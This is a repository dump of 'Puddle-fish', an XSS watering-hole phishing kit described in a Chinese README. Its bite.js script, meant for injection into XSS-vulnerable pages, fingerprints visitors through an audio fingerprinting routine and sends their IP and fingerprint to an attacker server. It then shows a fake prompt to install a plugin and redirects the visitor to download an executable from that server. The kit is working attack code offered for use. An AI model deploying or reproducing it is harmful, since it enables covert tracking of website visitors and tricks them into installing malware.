├── FISH.txt ├── README.md ├── back.php ├── bite.js └── audio-fingerprinting.js /FISH.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Puddle-fish 2 | 3 | xss水坑攻击,配合php进行鱼儿是否上线判断 4 | 5 | 加入了浏览器指纹获取,使用外网ip+浏览器指纹判断是否是同一终端。 6 | 7 | ## Usage: 8 | 9 | 后端使用php搭建`back.php,audio-fingerprinting.js` 10 | 11 | 在有xss的地方插入`bite.js` 12 | 13 | ## 致谢: 14 | 15 | 代码逻辑主要参考的 16 | 17 | [timwhitez](https://github.com/timwhitez/XSS-Phishing) 18 | 19 | -------------------------------------------------------------------------------- /back.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /bite.js: -------------------------------------------------------------------------------- 1 | var returnCitySN = {"cip": "0.0.0.0", "extend": "000000"}; 2 | // document.write(""); 3 | document.write("") 4 | document.write(""); 5 | 6 | 7 | //上线检测 8 | function isRise(ip,extend) { 9 | var xmlHttp; 10 | if (window.XMLHttpRequest) { 11 | xmlHttp = new XMLHttpRequest(); 12 | } else { 13 | xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 14 | } 15 | 16 | audioFingerprint.run( 17 | function (fingerprint){ 18 | // document.write(fingerprint); 19 | console.log(fingerprint); 20 | xmlHttp.open("GET", "http://xxxx.com/back.php?search="+ip+fingerprint, "true"); 21 | xmlHttp.send(); 22 | xmlHttp.onreadystatechange = function() { 23 | //alert(xmlHttp.responseText) 24 | if (xmlHttp.readyState == 4 && xmlHttp.status == 200) { 25 | var resData = xmlHttp.responseText; 26 | if (resData == "in" && extend == "111111") { 27 | } else { 28 | document.write(""); 29 | xmlHttp.open("GET", "http://xxxx.com/back.php?ip="+ip+fingerprint, "true"); 30 | xmlHttp.send(); 31 | xmlHttp.onreadystatechange = function() { 32 | if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {} else {}} 33 | download(); 34 | } 35 | } 36 | } 37 | }); 38 | 39 | } 40 | 41 | //下载 42 | function download(){ 43 | alert("请尝试下载并安装插件后访问本页面!"); 44 | window.location.href="http://xxxx.com/zzz.exe"; 45 | } 46 | 47 | //判断是否是PC 48 | function isPc() { 49 | if (navigator.userAgent.match(/(iPhone|Android)/i)) { 50 | return false; 51 | } else { 52 | return true; 53 | } 54 | } 55 | 56 | //load,ipbase64编码后,传递给后端 57 | window.onload = function(){ 58 | if(!isPc()){ 59 | alert("当前页面只能在电脑PC端中加载,请稍后重试..."); 60 | }else{ 61 | isRise(returnCitySN["cip"], returnCitySN["extend"]); 62 | } 63 | } -------------------------------------------------------------------------------- /audio-fingerprinting.js: -------------------------------------------------------------------------------- 1 | var audioFingerprint = (function () { 2 | 3 | var context = null; 4 | var currentTime = null; 5 | var oscillator = null; 6 | var compressor = null; 7 | var fingerprint = null; 8 | var callback = null 9 | 10 | function run(cb, debug = false) { 11 | 12 | callback = cb; 13 | 14 | try { 15 | 16 | setup(); 17 | 18 | oscillator.connect(compressor); 19 | compressor.connect(context.destination); 20 | 21 | oscillator.start(0); 22 | context.startRendering(); 23 | 24 | context.oncomplete = onComplete; 25 | 26 | } catch (e) { 27 | 28 | if (debug) { 29 | throw e; 30 | } 31 | 32 | } 33 | } 34 | 35 | function setup() 36 | { 37 | setContext(); 38 | currentTime = context.currentTime; 39 | setOscillator(); 40 | setCompressor(); 41 | } 42 | 43 | function setContext() 44 | { 45 | var audioContext = window.OfflineAudioContext || window.webkitOfflineAudioContext; 46 | context = new audioContext(1, 44100, 44100); 47 | } 48 | 49 | function setOscillator() 50 | { 51 | oscillator = context.createOscillator(); 52 | oscillator.type = "triangle"; 53 | oscillator.frequency.setValueAtTime(10000, currentTime); 54 | } 55 | 56 | function setCompressor() 57 | { 58 | compressor = context.createDynamicsCompressor(); 59 | 60 | setCompressorValueIfDefined('threshold', -50); 61 | setCompressorValueIfDefined('knee', 40); 62 | setCompressorValueIfDefined('ratio', 12); 63 | setCompressorValueIfDefined('reduction', -20); 64 | setCompressorValueIfDefined('attack', 0); 65 | setCompressorValueIfDefined('release', .25); 66 | } 67 | 68 | function setCompressorValueIfDefined(item, value) 69 | { 70 | if (compressor[item] !== undefined && typeof compressor[item].setValueAtTime === 'function') { 71 | compressor[item].setValueAtTime(value, context.currentTime); 72 | } 73 | } 74 | 75 | function onComplete(event) 76 | { 77 | generateFingerprints(event); 78 | compressor.disconnect(); 79 | } 80 | 81 | function generateFingerprints(event) 82 | { 83 | var output = null; 84 | for (var i = 4500; 5e3 > i; i++) { 85 | 86 | var channelData = event.renderedBuffer.getChannelData(0)[i]; 87 | output += Math.abs(channelData); 88 | 89 | } 90 | 91 | fingerprint = output.toString(); 92 | 93 | if (typeof callback === 'function') { 94 | return callback(fingerprint); 95 | } 96 | } 97 | 98 | return { 99 | run:run 100 | }; 101 | 102 | })(); 103 | --------------------------------------------------------------------------------